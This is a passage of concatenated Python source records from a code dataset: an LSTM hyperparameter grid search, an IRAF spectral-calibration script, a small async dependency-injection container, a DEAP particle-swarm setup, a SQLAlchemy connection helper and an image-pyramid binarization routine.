sklearn.preprocessing import MinMaxScaler, RobustScaler\nfrom sklearn import metrics \nimport sklearn\nimport theano\nimport copy\nimport keras.backend as K\nfrom keras import optimizers\nfrom itertools import chain\nfrom sklearn.cross_validation import StratifiedKFold\nfrom sklearn.cross_validation import StratifiedShuffleSplit\n\nTHEANO_FLAGS='floatX=float32,openmp=True'\nOMP_NUM_THREADS=4\n\nfrom joblib import Parallel, delayed\nimport multiprocessing\n\n\n\n\nimport time\n\nos.chdir(\"/home/shikhar/USA/\"+str(station_name)+\"/\")\n\ntimesave_final_all = []\ndata_parent = pandas.read_csv('datasets/dataset_all_ts.csv', engine='python')\n\n\nhidden_neurons_parent = sys.argv[1]#40, 80, 120, 150\nhidden_neurons_2L = [10,20,40,60,80,100,110,120,140,150]\n\nfirst_arg = sys.argv[1]\n\n\nneurons1 = int(first_arg)\ndays_to_lookback = [1]\n# for i in [110,90]:\ni=1\n\nper_day_obs=7\ntime_Steps=int(i)*per_day_obs\n\noffset=1+per_day_obs*(time_Steps/per_day_obs-1)\n\ndef create_dataset(dataset, time_Steps=time_Steps,offset=offset):#Restructuring function: Grouping of intra-day timesteps together for per day target value\n\tdataX , dataY = [], []\n\tfor i in range(0,len(dataset)-offset,7):\n\t\ta = dataset[i:(i+time_Steps), 0:(dataset.shape[1]-1)] \n\t\tb = dataset[i+time_Steps-1,-1:]\n\t\t# c = dataset[i+time_Steps-1,0]\n\t\t\n\t\tdataX.append(a)\n\t\tdataY.append(b)\n\t\t# dataZ.append(c)\n\treturn numpy.array(dataX), numpy.array(dataY)\n\ndef create_dataset_req(dataset, time_Steps=time_Steps,offset=offset):#function to extract dates\n\tdataZ = []\n\tfor i in range(0,len(dataset)-offset,7):\n\t\tc = dataset[i+time_Steps-1,0]\n\t\tdataZ.append(c)\n\treturn numpy.array(dataZ)\n\n\ndef build_data(data_parent) :\n\tfor col in cols_to_del:\n\t\tdata_parent = data_parent.drop(col, 1)\n\t\n\tdata_parent = data_parent.loc[data_parent['date'] < 20150000]\n\tdataframe1 = data_parent.loc[data_parent['date'] < 20120000]\n\tdataframe2 = data_parent.loc[data_parent['date'] > 20120000]\n\t\n\tdataframe3 = dataframe2.loc[dataframe2['date'] < 20140000]\n\tdataframe4 = dataframe2.loc[dataframe2['date'] > 20140000]\n\t# testdataframe = testdataframe.drop('stid', 1)\n\tcolumns = (dataframe1.columns.values).tolist()\n\t# fix random seed for reproducibility\n\tnumpy.random.seed(7)\n\tstart = columns.index(\"month\")\n\tend = columns.index(\"energy\") + 1\n\t\n\tdata_framesub21 = dataframe1.ix[:,start:end].copy()\n\tdataset1 = data_framesub21.values\n\tdataset1 = dataset1.astype('float32')\n\tdata_framesub31 = dataframe1[[\"date\"]].copy()\n\tdataset_req1 = data_framesub31.values\n\t\n\tdata_framesub22 = dataframe3.ix[:,start:end].copy()\n\tdataset2 = data_framesub22.values\n\tdataset2 = dataset2.astype('float32')\n\tdata_framesub32 = dataframe3[[\"date\"]].copy()\n\tdataset_req2 = data_framesub32.values\n\t\n\tdata_framesub23 = dataframe4.ix[:,start:end].copy()\n\tdataset3 = data_framesub23.values\n\tdataset3 = dataset3.astype('float32')\n\tdata_framesub33 = dataframe4[[\"date\"]].copy()\n\tdataset_req3 = data_framesub33.values\n\t\n\t# train, val and test sets\n\ttrain_size = len(dataset1)\n\tval_size = len(dataset2)\n\ttest_size = len(dataset3)\n\t\n\ttrain, val,test= dataset1[0:(train_size),:], dataset2[0:(val_size),:], dataset3[0:(test_size),:]\n\ttrain_req, val_req,test_req = dataset_req1[0:(train_size),:], dataset_req2[0:(val_size),:], dataset_req3[0:(test_size),:]\n\t\n\tidvs = end - start -1\n\t# normalize the dataset\n\tfull_data_idv = numpy.vstack((train[:,:idvs],val[:,:idvs],test[:,:idvs]))\n\tidv_scaler = MinMaxScaler(feature_range=(0, 1))\n\tidv_scaler.fit(full_data_idv)\n\ttrain[:,:idvs] = idv_scaler.transform(train[:,:idvs])\n\tval[:,:idvs] = idv_scaler.transform(val[:,:idvs])\n\ttest[:,:idvs] = idv_scaler.transform(test[:,:idvs])\n\t\n\t\n\tscaler = MinMaxScaler(feature_range=(0, 1))\n\tscaler.fit(train[:,-1:])\n\ttrain[:,-1:] = scaler.transform(train[:,-1:])\n\tval[:,-1:] = scaler.transform(val[:,-1:])\n\ttest[:,-1:] = scaler.transform(test[:,-1:])\n\t\n\t# create datasets\n\ttrainX, trainY = create_dataset(train)\n\tvalX, valY = create_dataset(val)\n\ttestX, testY = create_dataset(test)\n\t\n\ttrainDate = create_dataset_req(train_req)\n\tvalDate = create_dataset_req(val_req)\n\ttestDate = create_dataset_req(test_req)\n\t\n\t#reshape for LSTMs input (train_size,time_steps,features)\n\ttrainX = numpy.reshape(trainX, (trainX.shape[0], time_Steps, trainX.shape[2]))\n\tvalX = numpy.reshape(valX, (valX.shape[0], time_Steps, valX.shape[2]))\n\ttestX = numpy.reshape(testX, (testX.shape[0], time_Steps, testX.shape[2]))\n\t\n\treturn trainX, trainY, trainDate, valX, valY, valDate, testX, testY, testDate, scaler\n\ntrainX, trainY, trainDate, valX, valY, valDate, testX, testY, testDate, scaler = build_data(data_parent)\n\n\t### Running Cross validations\n\t\ndef cross_val(trainY):\n\tdata = trainY[:,0]\n\tbins = numpy.linspace(0, 1, 9)\n\tdigitized = numpy.digitize(data, bins)\n\tps = pandas.Series([i for i in digitized])\n\tcounts = ps.value_counts()\n\tcounts_name = numpy.array(counts.index)\n\tcounts_value = numpy.array(counts.values)\n\tfor i in range(0,len(counts_value)):\n\t\tif counts_value[i] < 2:\n\t\t\ta = counts_name[i]\n\t\t\t# print(str(i))\n\t\t\tif a < 2:\n\t\t\t\tb = counts_name[i+1]\n\t\t\telse:\n\t\t\t\tb = counts_name[i-1]\n\t\t\tdigitized[digitized == a] = b\t\t\n\tsss = StratifiedShuffleSplit(digitized, 2, test_size=0.20, random_state=7)\n\treturn sss\n\ndef get_folds(trainY):\n\tsss = cross_val(trainY)\n\treturn sss\n\nsss = get_folds(trainY)\n\nt_start = time.time()\n\n\n\nfor neurons2 in hidden_neurons_2L:\n\t### To save computational resources\n\tif neurons1 <= 70:\n\t\tepoch_global = 100\n\telse :\n\t\tepoch_global = 70\n\t### creating sub folders\n\tt_start_neurons = time.time()\n\tif not os.path.exists(\"/home/shikhar/USA/\"+str(station_name)+\"/lstm_config_selection/\"):\n\t\tos.makedirs(\"/home/shikhar/USA/\"+str(station_name)+\"/lstm_config_selection/\")\n\t\n\tos.chdir(\"/home/shikhar/USA/\"+str(station_name)+\"/lstm_config_selection/\")\n\tif not os.path.exists(\"RMSE/\"):\n\t\tos.makedirs(\"RMSE/\")\n\t\n\tdirectory_name=str(i)+\"_day/\"\n\tif not os.path.exists(directory_name):\n\t\tos.makedirs(directory_name)\n\t\n\tos.chdir(\"/home/shikhar/USA/\"+str(station_name)+\"/lstm_config_selection/\"+directory_name)\n\t\n\tdirectory_name_cells1 = str(neurons1)+\"_neurons/\"\n\tdirectory_name_cells = str(neurons1)+\"_neurons/\"+str(neurons2)+\"_neurons_2L/\"\n\tif not os.path.exists(directory_name_cells1):\n\t\tos.makedirs(directory_name_cells1)\t\n\t\n\tif not os.path.exists(directory_name_cells):\n\t\tos.makedirs(directory_name_cells)\n\t\tos.chdir(\"/home/shikhar/USA/\"+str(station_name)+\"/lstm_config_selection/\"+directory_name+directory_name_cells)\n\t\tos.makedirs(\"full_models\")\n\t\tos.makedirs(\"models\")\n\t\tos.makedirs(\"weights\")\n\t\tos.makedirs(\"run\")\n\t\n\tos.chdir(\"/home/shikhar/USA/\"+str(station_name)+\"/lstm_config_selection/\"+directory_name)\n\n\tbatch_size = 64\n\t\n\t# create and fit the LSTM network\n\tdef create_model(time_Steps,trainX,neurons1,neurons2):\n\t\ttime_Steps = time_Steps\n\t\tmodel = Sequential()\n\t\tmodel.add(LSTM(neurons1,\n\t\t\t\t\tbatch_input_shape=(batch_size, time_Steps, trainX.shape[2]),\n\t\t\t\t\tstateful=False,\n\t\t\t\t\tactivation='relu', \n\t\t\t\t\treturn_sequences=True))\n\t\t\t\t#model.add(Dropout(0.2))\n\t\tmodel.add(LSTM(neurons2,\n\t\t\t\t\tbatch_input_shape=(batch_size, time_Steps, neurons1),\n\t\t\t\t\tstateful=False,\n\t\t\t\t\tactivation='relu',\n\t\t\t\t\treturn_sequences=False))\n\t\tmodel.add(Dropout(0.3))\n\t\tmodel.add(Dense(1)) #, input_dim= trainX.shape[1:]))\n\t\t#model.add(Activation('sigmoid'))\n\t\t# Model Compilation\n\t\tadam=optimizers.Adam(lr=0.0001)\n\t\tmodel.compile(loss='mean_squared_error',optimizer=adam,metrics=['accuracy'])\n\t\treturn model\n\t\n\t\n\tdef train_and_evaluate_model( train_data, train_target, trainDate, val_data, val_target, val_localdata, val_localtarget, val_localDate, test_localdata, test_localtarget, test_localDate, scaler, fold, val_index,directory_name_cells,time_Steps,neurons1,neurons2,epoch_global):\n\t\t\n\t\tmodel = create_model(time_Steps,train_data,neurons1,neurons2)\t\n\t\t\n\t\tepochs_value = epoch_global\n\t\t\n\t\tt0=time.time()\n\t\tepochs = epochs_value\n\t\tmodelloss=[]\n\t\tmodelval_loss=[]\n\t\tsaved_models_list=[]\n\t\tloss_global = 1\n\t\tloss_global1 = 9999\n\t\toptimal_epochs2 = 9999\n\t\tcheck_loss_best_mean = 1\n\t\toptimal_epochs = 10\n\t\tfor iter in range(epochs):\n\t\t\tmodel_name = \"all_model_\"+str(fold+1)+\"CV_iter\"+str(iter+1)\n\t\t\tmodel_weights = model_name+\".h5\"\n\t\t\tprint('Test_level Epoch: ' + str(iter+1) +\"/\"+str(epochs) +\" Fold: \"+str(fold+1) +\" Neurons: \"+str(neurons1)+\"_\"+str(neurons2))\n\t\t\tx=model.fit(train_data, train_target, nb_epoch=1, batch_size=batch_size, validation_data=(val_data,val_target),verbose=2, shuffle=True)\n\t\t\t##Epoch optimizations\n\t\t\tmodelloss.extend(x.history['loss'])\n\t\t\tmodelval_loss.extend(x.history['val_loss'])\n\t\t\tif iter+1 == epochs:\n\t\t\t\tmodel.save(directory_name_cells+\"full_models/\"+model_weights)\n\t\t\t\n\t\t\t# serialize model to JSON\n\t\t\tmodel_json = model.to_json()\n\t\t\twith open(directory_name_cells+\"models/\"+model_name, \"w\") as json_file:\n\t\t\t\tjson_file.write(model_json)\n\t\t\t# serialize weights to HDF5\n\t\t\tmodel.save_weights(directory_name_cells+\"weights/\"+model_weights)\n\t\t\tmodel_final_name = model_name\n\t\t\tmodel_final_weight = model_weights\n\t\t\tprint(\"\\n @@ Saved model to disk @@ \\n\")\n\t\t\t\n\t\t\t#prediction and score calculation\n\t\t\tvalPredict = model.predict(val_localdata,batch_size=batch_size)\n\t\t\tvalPredict = (valPredict * scaler.data_range_[scaler.data_range_.shape[0]-1,]) + scaler.min_[scaler.min_.shape[0]-1,]\n\t\t\ty_val = (val_localtarget * scaler.data_range_[scaler.data_range_.shape[0]-1,]) + scaler.min_[scaler.min_.shape[0]-1,]\n\t\t\tvalScore = math.sqrt(sklearn.metrics.mean_squared_error(y_val[:,0], valPredict[:,0]))\n\t\t\t\n\t\t\ttest_localPredict = model.predict(test_localdata,batch_size=batch_size)\n\t\t\ttest_localPredict = (test_localPredict * scaler.data_range_[scaler.data_range_.shape[0]-1,]) + scaler.min_[scaler.min_.shape[0]-1,]\n\t\t\ty_test_local = math.sqrt(test_localtarget * scaler.data_range_[scaler.data_range_.shape[0]-1,]) + scaler.min_[scaler.min_.shape[0]-1,]\n\t\t\t\n\t\t\ttest_localScore = (sklearn.metrics.mean_squared_error(y_test_local[:,0], test_localPredict[:,0]))\n\t\t\t\n\t\t\ttrainPredict = model.predict(train_data,batch_size=batch_size)\n\t\t\ttrainPredict = (trainPredict * scaler.data_range_[scaler.data_range_.shape[0]-1,]) + scaler.min_[scaler.min_.shape[0]-1,]\n\t\t\ty_train = (train_target * scaler.data_range_[scaler.data_range_.shape[0]-1,]) + scaler.min_[scaler.min_.shape[0]-1,]\n\t\t\ttrainScore = math.sqrt(sklearn.metrics.mean_squared_error(y_train[:,0], trainPredict[:,0]))\n\t\t\t\n\t\t\tdf_tosave = pandas.DataFrame({'neurons_parent' : [int(neurons1)], 'neurons_2L' : [int(neurons2)],'fold' : [int(fold+1)],'iterations' : [int(iter+1)], 'train_score' : [(trainScore)], 'val_score' : [(valScore)],'test_localscore' : [(test_localScore)] })\n\t\t\tcols=['neurons_parent', 'neurons_2L','fold' ,'iterations', 'train_score', 'val_score','test_localscore']\n\t\t\tdf_tosave=df_tosave[cols]\n\t\t\t\n\t\t\tfilename2 = str(neurons1)+\"_\"+str(neurons2)+\"_\"+str(fold+1)+\"_CV_RMSE.csv\"\n\t\t\t\n\t\t\tif (iter+1) == 1:\n\t\t\t\tos.chdir(\"/home/shikhar/USA/\"+str(station_name)+\"/lstm_config_selection/RMSE/\")\n\t\t\t\tdf_tosave.to_csv(filename2, sep=',',index=False)\n\t\t\t\tos.chdir(\"/home/shikhar/USA/\"+str(station_name)+\"/lstm_config_selection/\"+directory_name)\n\t\t\telse:\n\t\t\t\tos.chdir(\"/home/shikhar/USA/\"+str(station_name)+\"/lstm_config_selection/RMSE/\")\n\t\t\t\twith open(filename2, 'a') as f:\n\t\t\t\t\t(df_tosave).to_csv(f, sep=',',index=False,header=False)\n\t\t\t\tos.chdir(\"/home/shikhar/USA/\"+str(station_name)+\"/lstm_config_selection/\"+directory_name)\n\t\t\n\t\tt1=time.time()\n\t\ttimesave = str(int(round((t1-t0)/60,0)))\n\t\tfilename=\"all_RMSE\"+timesave+\"mins_\"+str(fold+1)+\"CV.csv\"\n\t\t\n\t\tb=modelloss\n\t\tc=modelval_loss\n\t\t\n\t\tnewb = [round(item*scaler.data_range_[scaler.data_range_.shape[0]-1,],3) for item in b]\n\t\tnewc = [round(item*scaler.data_range_[scaler.data_range_.shape[0]-1,],3) for item in c]\n\t\tdf_epoch_list=range(1,epochs+1,1)\n\t\tdf_epoch = pandas.DataFrame(df_epoch_list)\n\t\tdf = pandas.DataFrame(newb)\n\t\tdf2 = pandas.DataFrame(newc)\n\t\tdf3 = pandas.concat([df_epoch,df, df2], axis=1)\n\t\tdf3.columns = ['epoch','train','val']\n\t\tdf3.to_csv(directory_name_cells+\"run/\"+filename, sep=',',index=False)\n\t\n\t\n\t\n\tdef build_with_crossValidations (fold, train_index, val_index) :\n\t\t\n\t\tstart_datetime = time.strftime('%l:%M%p %Z on %b %d, %Y')\n\t\tprint (\"\\n\\n\\n - # # - Starting for: neurons=\"+str(neurons1)+\"_\"+str(neurons2)+\" at \"+str(start_datetime)+\" - # # - \\n\\n\")\n\t\tt0=time.time()\n\t\ttrainX, trainY, trainDate, valX, valY, valDate, testX, testY, testDate, scaler = build_data(data_parent)\n\t\tnumpy.random.seed(7)\n\t\tX_train, X_val = trainX[train_index], trainX[val_index]\n\t\ty_train, y_val = trainY[train_index], trainY[val_index]\n\t\ttrain_and_evaluate_model( X_train, y_train, trainDate, X_val, y_val, valX, valY, valDate, testX, testY, testDate, scaler, fold, val_index,directory_name_cells,time_Steps,neurons1, neurons2,epoch_global)\n\t\t\n\t\tt1=time.time()\n\t\ttimesave = str(int(round((t1-t0)/60,0)))\n\t\tend_datetime = time.strftime('%l:%M%p %Z on %b %d, %Y')\n\t\tprint (\"\\n\\n\\n - # # - Built Complete for Fold: \"+str(fold+1)+\" in: \"+ timesave +\" mins, at \"+str(end_datetime)+\"- # # - \\n\\n\")\n\t\n\t\n\tnum_cores2 = 2\n\t\n\tParallel(n_jobs=num_cores2)(delayed(build_with_crossValidations)(fold, train_index, val_index) for fold, (train_index, val_index) in enumerate(sss))\n\t\n\tt_over_neurons = time.time()\n\ttimesave_neurons = str(round((t_over_neurons-t_start_neurons)/3600,1))\n\t\n\tprint (\"\\n\\n\\n - - # # # # - Completed for all stids for lookback of \"+str(i)+\" day & neurons=\"+str(neurons1)+\"_\"+str(neurons2)+\"- # # # # - - \\n\\n\")\n\tprint (\"\\n\\n\\n - - # # # # - Took : \"+ timesave_neurons+\" hours - # # # # - - \\n\\n\")\n\n\nt_over = time.time()\ntimesave_final = str(round((t_over-t_start)/3600,1))\ntimesave_final_all.extend([timesave_final])\nprint (\"\\n\\n\\n - - # # # # - Completed for all Neurons in the list- # # # # - - \\n\\n\")\nprint (\"\\n\\n\\n - - # # # # - Took : \"+ timesave_final+\" hours - # # # # - - \\n\\n\")\n\n\nprint (timesave_final_all)\n\n\n\n","sub_path":"LSTM_gridsearch.py","file_name":"LSTM_gridsearch.py","file_ext":"py","file_size_in_byte":14429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"406308033","text":"# Now load IRAF\nimport pyraf.iraf as iraf\nimport os\nfrom os.path import expanduser\n\n\nos.system(\"mkiraf\")\n\n\n# Load the packages we might need.\n\niraf.noao(_doprint=0)\niraf.onedspec(_doprint=0)\niraf.twodspec(_doprint=0)\niraf.apextract(_doprint=0)\niraf.unlearn(iraf.apall)\niraf.unlearn(iraf.identify)\ntext_file = open(\"filename.txt\", \"r\")\nfilename=text_file.readline()\ntext_file.close()\nhome = expanduser(\"~/\")\nimport pickle\n\n# load file names:\nwith open('filenames.pickle') as f: # Python 3: open(..., 'rb')\n dataset, target, filename,extracted_filename, calibrated_filename, crval, dispersion = pickle.load(f)\n\n\n# Delete some directories/files from previous runs:\nos.system(\"rm -rf login.cl database pyraf uparm\")\n\n# Delete previous results.\n\nos.system(\"rm \"+extracted_filename+\" \"+calibrated_filename)\n\n# Run the spectral extraction program.\n\niraf.apextract.setParam(\"dispaxis\", \"1\")\n\niraf.apall(input=filename, find=\"No\", recenter=\"No\", resize=\"No\",interactive=\"Yes\")\n\n\n\n\n# Make sure that the dispersion axis is in the header.\n\niraf.hedit(images=[filename], fields=[\"DISPAXIS\"], value=[\"1\"], add=\"Yes\")\niraf.identify(filename[:-5], coordli=home+\"/Downloads/HgNe(1).dat\",\n section=\"line 105 125\",\n crval=crval,\n cdelt=dispersion,\n fwidth=5)\n\n# Tell the extracted spectrum what the wavelength solutions are.\niraf.hedit(images=[extracted_filename],\n fields=[\"REFSPEC1\"], \\\n value=[filename], add=\"Yes\")\niraf.refspec(input = extracted_filename,referen=filename[:-5],sort='',group='',confirm='no')\niraf.dispcor(input=extracted_filename,\n output=calibrated_filename)\n\n# Plot the extracted spectrum?\niraf.splot(calibrated_filename)\n","sub_path":"python/CampSpec/identify.py","file_name":"identify.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"28294135","text":"import inspect\n\nfrom flasky import errors\n\n\nSINGLETON = 0\nPROTOTYPE = 1\n\n#: TODO: implement forbidden object names filter to avoid\n#: conflict with tornado's handler properties.\n\n\nclass DIContainer(object):\n\n def __init__(self, app):\n self._app = app\n self.init_app(app)\n self._registered_names = set()\n self._factory_funcs = {}\n self._instance_registry = {}\n self._objects_currently_in_creation = set()\n\n @property\n def registered_object_count(self):\n return len(self._factory_funcs)\n\n @property\n def object_count(self):\n return len(self._instance_registry)\n\n async def before_request_hook(self, handler, method_definition):\n setattr(handler, \"di\", self)\n\n async def on_start_hook(self, app):\n for registered_name in self._registered_names:\n instance = await self.get(registered_name)\n if instance is None:\n raise errors.ConfigurationError(\n \"Registerd function<{}> returned None\"\n .format(registered_name))\n\n def __getattr__(self, attr):\n if attr not in self._instance_registry:\n raise errors.ConfigurationError(\n \"Object is not found with name<{}> in registery\"\n .format(attr))\n return self._instance_registry[attr]\n\n def init_app(self, app):\n app.before_request(self.before_request_hook)\n app.on_start(self.on_start_hook)\n\n def register(self, name=None, strategy=SINGLETON):\n def decorator(f):\n register_name = name or self._resolve_name(f)\n dependencies = list(inspect.signature(f).parameters.keys())\n\n self._factory_funcs[register_name] = {\n \"factory_func\": f,\n \"strategy\": strategy,\n \"dependencies\": dependencies\n }\n self._registered_names.add(register_name)\n return f\n\n return decorator\n\n def _resolve_name(self, f):\n return f.__name__\n\n def _resolve_dependencies(self, f):\n return list(inspect.signature(f).parameters.keys())\n\n async def get(self, name):\n if name in self._instance_registry:\n return self._instance_registry[name]\n\n return await self.create(name)\n\n async def create(self, name):\n if name not in self._factory_funcs:\n raise errors.ConfigurationError(\n 'Dependent object<{}> not found.'.format(name))\n\n if name in self._objects_currently_in_creation:\n reference = \"->\".join(list(self._objects_currently_in_creation))\n raise errors.ConfigurationError(\n 'Circular Reference detected. {}'.format(reference))\n\n self._objects_currently_in_creation.add(name)\n\n factory_func_def = self._factory_funcs[name]\n\n params = []\n for parameter in factory_func_def.get('dependencies', []):\n params.append(await self.get(parameter))\n\n instance = await factory_func_def[\"factory_func\"](*params)\n #: Cache instance if its strategy is singleton\n if factory_func_def[\"strategy\"] == SINGLETON:\n self._instance_registry[name] = instance\n\n self._objects_currently_in_creation.remove(name)\n\n return instance\n","sub_path":"flasky/di.py","file_name":"di.py","file_ext":"py","file_size_in_byte":3338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"391525502","text":"import os\nimport sqlalchemy\n\n#импортируем классы таблиц\nfrom db.alchemy import Company\n\nclass Connect:\n def __init__(self):\n #создадим подключение к базе\n path = os.path.join('db', 'counter.db')\n engine = sqlalchemy.create_engine('sqlite:///{}'.format(path))\n #создадим сессию для базы\n self.session = sqlalchemy.orm.sessionmaker(bind=engine)()\n \n def get_session(self):\n return self.session","sub_path":"classies/connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"134052750","text":"## 2.2.6 Particle\nimport random\n\nfrom deap import base\nfrom deap import creator\nfrom deap import tools\n\ncreator.create(\"FitnessMax\", base.Fitness, weights=(1.0, 1.0))\ncreator.create(\"Particle\", list, fitness=creator.FitnessMax, speed=None,\n smin=None, smax=None, best=None)\ncreator.create(\"Swarm\", list, gbest=None, gbestfit=creator.FitnessMax)\n\n\ndef initParticle(pcls, size, pmin, pmax, smin, smax):\n part = pcls(random.uniform(pmin, pmax) for _ in xrange(size))\n part.speed = [random.uniform(smin, smax) for _ in xrange(size)]\n part.smin = smin\n part.smax = smax\n return part\n\n\ntoolbox = base.Toolbox()\ntoolbox.register(\"particle\", initParticle, creator.Particle, size=2,\n pmin=-6, pmax=6, smin=-3, smax=3)\ntoolbox.register(\"swarm\", tools.initRepeat, creator.Swarm, toolbox.particle)\n","sub_path":"docs/code/tutorials/part_2/2_3_3_swarm.py","file_name":"2_3_3_swarm.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"435496004","text":"import argparse\nimport os\nfrom tqdm import tqdm\n\nimport numpy as np\nimport cv2\nfrom pathlib import Path\nimport time\n\ndef profiler(start_time, end_time, source_np):\n h, w = source_np.shape\n img_time = end_time - start_time\n \n return img_time, img_time/h/w * 10**6\n\n\nclass PyramidLayer:\n def __init__(self, previous_layer, first_layer=False, noise_const=10, noise_order_mult=3, noise_variance_mult=2,\n mean_w=0.25, diff_w=0.75, shift=2):\n if first_layer:\n self.noise_constant = noise_const\n self.noise_order_mult = noise_order_mult\n self.noise_variance_mult = noise_variance_mult\n self.order = 0\n self.minimums = previous_layer\n self.maximums = previous_layer\n self.means = previous_layer\n self.shape = (previous_layer.shape[0], previous_layer.shape[1])\n self.variances = np.zeros(self.shape)\n self.pad()\n self.mean_w = mean_w\n self.diff_w = diff_w\n self.shift = shift\n assert np.abs(mean_w + diff_w - 1) < 1e-8\n\n else:\n self.shift = shift\n self.noise_constant = noise_const\n self.noise_order_mult = noise_order_mult\n self.noise_variance_mult = noise_variance_mult\n self.order = previous_layer.order + 1\n self.shape = (previous_layer.shape[0] // 2, previous_layer.shape[1] // 2)\n self.minimums = np.zeros(self.shape)\n self.maximums = np.zeros(self.shape)\n self.means = np.zeros(self.shape)\n self.previous_layer = previous_layer\n self.thresholds = np.zeros(self.shape)\n for i in range(self.shape[0]):\n for j in range(self.shape[1]):\n self.minimums[i, j] = np.min(self.previous_layer.minimums[i * 2: (i + 1) * 2, j * 2: (j + 1) * 2])\n self.maximums[i, j] = np.max(self.previous_layer.maximums[i * 2: (i + 1) * 2, j * 2: (j + 1) * 2])\n self.means[i, j] = np.mean(self.previous_layer.means[i * 2: (i + 1) * 2, j * 2: (j + 1) * 2])\n self.interpolate_variances()\n self.pad()\n self.mean_w = mean_w\n self.diff_w = diff_w\n assert np.abs(mean_w + diff_w - 1) < 1e-8\n\n def pad(self):\n if self.shape[0] % 2 == 1:\n self.maximums = np.vstack((self.maximums, self.maximums[-1, :]))\n self.minimums = np.vstack((self.minimums, self.minimums[-1, :]))\n self.means = np.vstack((self.means, self.means[-1, :]))\n self.variances = np.vstack((self.variances, self.variances[-1, :]))\n self.shape = (self.shape[0] + 1, self.shape[1])\n if self.shape[1] % 2 == 1:\n self.maximums = np.hstack((self.maximums, self.maximums[:, -1].reshape((self.maximums.shape[0], 1))))\n self.minimums = np.hstack((self.minimums, self.minimums[:, -1].reshape((self.maximums.shape[0], 1))))\n self.means = np.hstack((self.means, self.means[:, -1].reshape((self.maximums.shape[0], 1))))\n self.variances = np.hstack((self.variances, self.variances[:, -1].reshape((self.maximums.shape[0], 1))))\n self.shape = (self.shape[0], self.shape[1] + 1)\n\n def interpolate_variances(self):\n h, w = self.shape\n self.variances = np.zeros((self.shape))\n for i in range(h):\n for j in range(w):\n previous_variances = np.mean(self.previous_layer.variances[i * 2: (i + 1) * 2, j * 2: (j + 1) * 2])\n previous_squared_mean = np.mean(self.previous_layer.means[i * 2: (i + 1) * 2, j * 2: (j + 1) * 2] ** 2)\n self.variances[i, j] = previous_variances + previous_squared_mean - self.means[i, j] ** 2\n\n def resize_threshold(self, deeper_layer):\n h, w = self.shape\n self.thresholds = np.zeros((h, w))\n for i in range(0, h, 2):\n for j in range(w - 1):\n if j % 2 == 0:\n self.thresholds[i, j] = deeper_layer.thresholds[i // 2, j // 2]\n else:\n self.thresholds[i, j] = 0.25 * deeper_layer.thresholds[i // 2, j // 2] + 0.75 * \\\n deeper_layer.thresholds[\n i // 2, j // 2 + 1]\n self.thresholds[i, -1] = self.thresholds[i, -2]\n for i in range(1, h - 1, 2):\n self.thresholds[i] = 0.75 * self.thresholds[i - 1] + 0.25 * self.thresholds[i + 1]\n self.thresholds[-1] = self.thresholds[-2]\n\n def get_noise_constant(self):\n return self.noise_constant + self.order * self.noise_order_mult + self.noise_variance_mult * np.sqrt(\n self.variances)\n\n def change_threshold(self):\n h, w = self.shape\n noise = self.get_noise_constant()\n for i in range(h):\n for j in range(w):\n if self.maximums[i, j] - self.minimums[i, j] > noise[i, j]:\n self.thresholds[i, j] = self.mean_w * self.means[i, j] + 0.5 * self.diff_w * (\n self.maximums[i, j] + self.minimums[i, j]) + self.shift\n\n\nclass ImagePyramid:\n def __init__(self, img, letter_layer=3, mean_w=0.15, diff_w=0.85, shift=2):\n self.img = img\n self.layers = [PyramidLayer(img, True)]\n self.letter_layer = letter_layer\n self.mean_w = mean_w\n self.diff_w = diff_w\n self.shift = shift\n\n while self.layers[-1].shape[0] > 2 and self.layers[-1].shape[1] > 2:\n self.layers.append(PyramidLayer(self.layers[-1], mean_w=mean_w, diff_w=diff_w))\n self.pad_image()\n\n def pad_image(self):\n if self.img.shape[0] % 2 == 1:\n self.img = np.vstack((self.img, self.img[-1, :]))\n if self.img.shape[1] % 2 == 1:\n self.img = np.hstack((self.img, self.img[:, -1].reshape((self.img.shape[0], 1))))\n\n def calc_thresholds(self):\n self.layers[-1].thresholds = self.mean_w * self.layers[-1].means + 0.5 * self.diff_w * (\n self.layers[-1].maximums + self.layers[-1].minimums)\n for i in range(len(self.layers) - 2, self.letter_layer, -1):\n self.layers[i].resize_threshold(self.layers[i + 1])\n self.layers[i].change_threshold()\n for i in range(self.letter_layer, -1, -1):\n self.layers[i].resize_threshold(self.layers[i + 1])\n\n def binarize_image(self):\n return self.img > self.layers[0].thresholds - self.shift\n\n\ndef read_image(path):\n image_name = path.split(\"/\")[-1].split(\".\")[0]\n return cv2.imread(path, 0), image_name\n\n\ndef get_args():\n \"\"\"Arguments parser.\"\"\"\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument('--imgs_path', required=True,\n help='input images path')\n parser.add_argument('--save_dir', type=str, required=True,\n help='save dir path')\n\n\n return parser.parse_args()\n\n\ndef save_result(img, save_path, image_name):\n image_dir = Path(save_path)\n image_dir.mkdir(exist_ok=True, parents=True)\n\n cv2.imwrite(os.path.join(save_path, f\"{image_name}.tiff\"), img)\n\n\ndef contrast_adjustment(img):\n hist, bins = np.histogram(img.flatten(), 256, [0, 256])\n cdf = hist.cumsum()\n cdf_m = np.ma.masked_equal(cdf, 0)\n cdf_m = (cdf_m - cdf_m.min()) * 255 / (cdf_m.max() - cdf_m.min())\n cdf = np.ma.filled(cdf_m, 0).astype('uint8')\n return cdf[img]\n\n\ndef main():\n args = get_args()\n paths = [os.path.join(args.imgs_path, image_path) for image_path in os.listdir(args.imgs_path)]\n for image_path in tqdm(paths):\n img, image_name = read_image(image_path)\n img_c = contrast_adjustment(img)\n start_time = time.time()\n img = ImagePyramid(img.astype(np.float64))\n img.calc_thresholds()\n img = img.binarize_image()\n end_time = time.time()\n time_image, time_mp = profiler(start_time, end_time, img)\n print(\"time for image {}s time for mp {}s\".format(time_image, time_mp))\n # print(\"no correction made\")\n # img_c = ImagePyramid(img_c.astype(np.float64))\n # img_c.calc_thresholds()\n # img_c = img_c.binarize_image()\n # print(\"correction 